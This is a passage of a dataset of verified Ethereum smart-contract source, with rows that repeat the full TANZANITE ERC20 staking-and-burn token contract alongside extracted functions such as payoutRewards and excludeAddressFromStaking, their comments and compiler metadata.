_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
//exchanges or other contracts can be excluded from receiving stake rewards
function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
//withdraw tokens that were sent to this contract by accident
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
} | updateRewardsFor | function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
| //catch up with the current total rewards. This needs to be done before an addresses balance is changed | LineComment | v0.5.8+commit.23d335f2 | None | bzzr://dd4a32b48751203f705ec9126afeb6fa19606b270a62d88f896dd8d55c436cb0 | {
"func_code_index": [
9009,
9209
]
} | 6,945 |
||
TANZANITE | TANZANITE.sol | 0x24a61515a268e9d4ec9ea786c9c5a1f88ad699ff | Solidity | TANZANITE | contract TANZANITE is ERC20Detailed
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "TANZANITE";//"TANZANITE";
string constant tokenSymbol = "TZH";//"TZH";
uint8 constant tokenDecimals = 10;
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsStaked_total = 0;
mapping (address => bool) public excludedFromStaking; //exchanges/other contracts will be excluded from staking
uint256 _totalRewardsPerUnit = 0;
mapping (address => uint256) private _totalRewardsPerUnit_positions;
mapping (address => uint256) private _savedRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
contractOwner = msg.sender;
excludedFromStaking[msg.sender] = true;
excludedFromStaking[address(this)] = true;
_mint(msg.sender, 21000000 * (10**uint256(tokenDecimals)));
}
// ------------------------------------------------------------------------
function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function fullUnitsStaked(address owner) public view returns (uint256)
{
return toFullUnits(_balances[owner]);
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256)
{
return valueWithDecimals.div(10**uint256(tokenDecimals));
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
{
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 value) internal
{
require(value != 0);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.add(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.add(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(address(0), account, value);
}
function burn(uint256 value) external
{
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) external
{
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function _burn(address account, uint256 value) internal
{
require(value != 0);
require(value <= _balances[account]);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.sub(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.sub(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(account, address(0), value);
}
/*
* transfer with additional burn and stake rewards
* the receiver gets 98% of the sent value
* 2% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 twoPercent = value.mul(2).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(twoPercent == 0 && value > 0)
twoPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(twoPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = twoPercent;
if(fus_total > 0)
{
uint256 stakingRewards = twoPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
//get all rewards that have not been claimed yet
function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
//pay out unclaimed rewards
function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
//exchanges or other contracts can be excluded from receiving stake rewards
function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
//withdraw tokens that were sent to this contract by accident
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
} | viewUnpaidRewards | function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
| //get all rewards that have not been claimed yet | LineComment | v0.5.8+commit.23d335f2 | None | bzzr://dd4a32b48751203f705ec9126afeb6fa19606b270a62d88f896dd8d55c436cb0 | {
"func_code_index": [
9270,
9691
]
} | 6,946 |
||
TANZANITE | TANZANITE.sol | 0x24a61515a268e9d4ec9ea786c9c5a1f88ad699ff | Solidity | TANZANITE | contract TANZANITE is ERC20Detailed
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "TANZANITE";//"TANZANITE";
string constant tokenSymbol = "TZH";//"TZH";
uint8 constant tokenDecimals = 10;
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsStaked_total = 0;
mapping (address => bool) public excludedFromStaking; //exchanges/other contracts will be excluded from staking
uint256 _totalRewardsPerUnit = 0;
mapping (address => uint256) private _totalRewardsPerUnit_positions;
mapping (address => uint256) private _savedRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
contractOwner = msg.sender;
excludedFromStaking[msg.sender] = true;
excludedFromStaking[address(this)] = true;
_mint(msg.sender, 21000000 * (10**uint256(tokenDecimals)));
}
// ------------------------------------------------------------------------
function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function fullUnitsStaked(address owner) public view returns (uint256)
{
return toFullUnits(_balances[owner]);
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256)
{
return valueWithDecimals.div(10**uint256(tokenDecimals));
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
{
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 value) internal
{
require(value != 0);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.add(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.add(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(address(0), account, value);
}
function burn(uint256 value) external
{
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) external
{
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function _burn(address account, uint256 value) internal
{
require(value != 0);
require(value <= _balances[account]);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.sub(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.sub(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(account, address(0), value);
}
/*
* transfer with additional burn and stake rewards
* the receiver gets 98% of the sent value
* 2% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 twoPercent = value.mul(2).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(twoPercent == 0 && value > 0)
twoPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(twoPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = twoPercent;
if(fus_total > 0)
{
uint256 stakingRewards = twoPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
//get all rewards that have not been claimed yet
function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
//pay out unclaimed rewards
function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
//exchanges or other contracts can be excluded from receiving stake rewards
function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
//withdraw tokens that were sent to this contract by accident
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
} | payoutRewards | function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
| //pay out unclaimed rewards | LineComment | v0.5.8+commit.23d335f2 | None | bzzr://dd4a32b48751203f705ec9126afeb6fa19606b270a62d88f896dd8d55c436cb0 | {
"func_code_index": [
9731,
10721
]
} | 6,947 |
||
TANZANITE | TANZANITE.sol | 0x24a61515a268e9d4ec9ea786c9c5a1f88ad699ff | Solidity | TANZANITE | contract TANZANITE is ERC20Detailed
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "TANZANITE";//"TANZANITE";
string constant tokenSymbol = "TZH";//"TZH";
uint8 constant tokenDecimals = 10;
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsStaked_total = 0;
mapping (address => bool) public excludedFromStaking; //exchanges/other contracts will be excluded from staking
uint256 _totalRewardsPerUnit = 0;
mapping (address => uint256) private _totalRewardsPerUnit_positions;
mapping (address => uint256) private _savedRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
contractOwner = msg.sender;
excludedFromStaking[msg.sender] = true;
excludedFromStaking[address(this)] = true;
_mint(msg.sender, 21000000 * (10**uint256(tokenDecimals)));
}
// ------------------------------------------------------------------------
function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function fullUnitsStaked(address owner) public view returns (uint256)
{
return toFullUnits(_balances[owner]);
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256)
{
return valueWithDecimals.div(10**uint256(tokenDecimals));
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
{
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 value) internal
{
require(value != 0);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.add(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.add(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(address(0), account, value);
}
function burn(uint256 value) external
{
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) external
{
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function _burn(address account, uint256 value) internal
{
require(value != 0);
require(value <= _balances[account]);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.sub(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.sub(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(account, address(0), value);
}
/*
* transfer with additional burn and stake rewards
* the receiver gets 98% of the sent value
* 2% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 twoPercent = value.mul(2).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(twoPercent == 0 && value > 0)
twoPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(twoPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = twoPercent;
if(fus_total > 0)
{
uint256 stakingRewards = twoPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
//get all rewards that have not been claimed yet
function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
//pay out unclaimed rewards
function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
//exchanges or other contracts can be excluded from receiving stake rewards
function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
//withdraw tokens that were sent to this contract by accident
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
} | excludeAddressFromStaking | function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
| //exchanges or other contracts can be excluded from receiving stake rewards | LineComment | v0.5.8+commit.23d335f2 | None | bzzr://dd4a32b48751203f705ec9126afeb6fa19606b270a62d88f896dd8d55c436cb0 | {
"func_code_index": [
10809,
11367
]
} | 6,948 |
||
TANZANITE | TANZANITE.sol | 0x24a61515a268e9d4ec9ea786c9c5a1f88ad699ff | Solidity | TANZANITE | contract TANZANITE is ERC20Detailed
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "TANZANITE";//"TANZANITE";
string constant tokenSymbol = "TZH";//"TZH";
uint8 constant tokenDecimals = 10;
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsStaked_total = 0;
mapping (address => bool) public excludedFromStaking; //exchanges/other contracts will be excluded from staking
uint256 _totalRewardsPerUnit = 0;
mapping (address => uint256) private _totalRewardsPerUnit_positions;
mapping (address => uint256) private _savedRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
contractOwner = msg.sender;
excludedFromStaking[msg.sender] = true;
excludedFromStaking[address(this)] = true;
_mint(msg.sender, 21000000 * (10**uint256(tokenDecimals)));
}
// ------------------------------------------------------------------------
function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function fullUnitsStaked(address owner) public view returns (uint256)
{
return toFullUnits(_balances[owner]);
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256)
{
return valueWithDecimals.div(10**uint256(tokenDecimals));
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
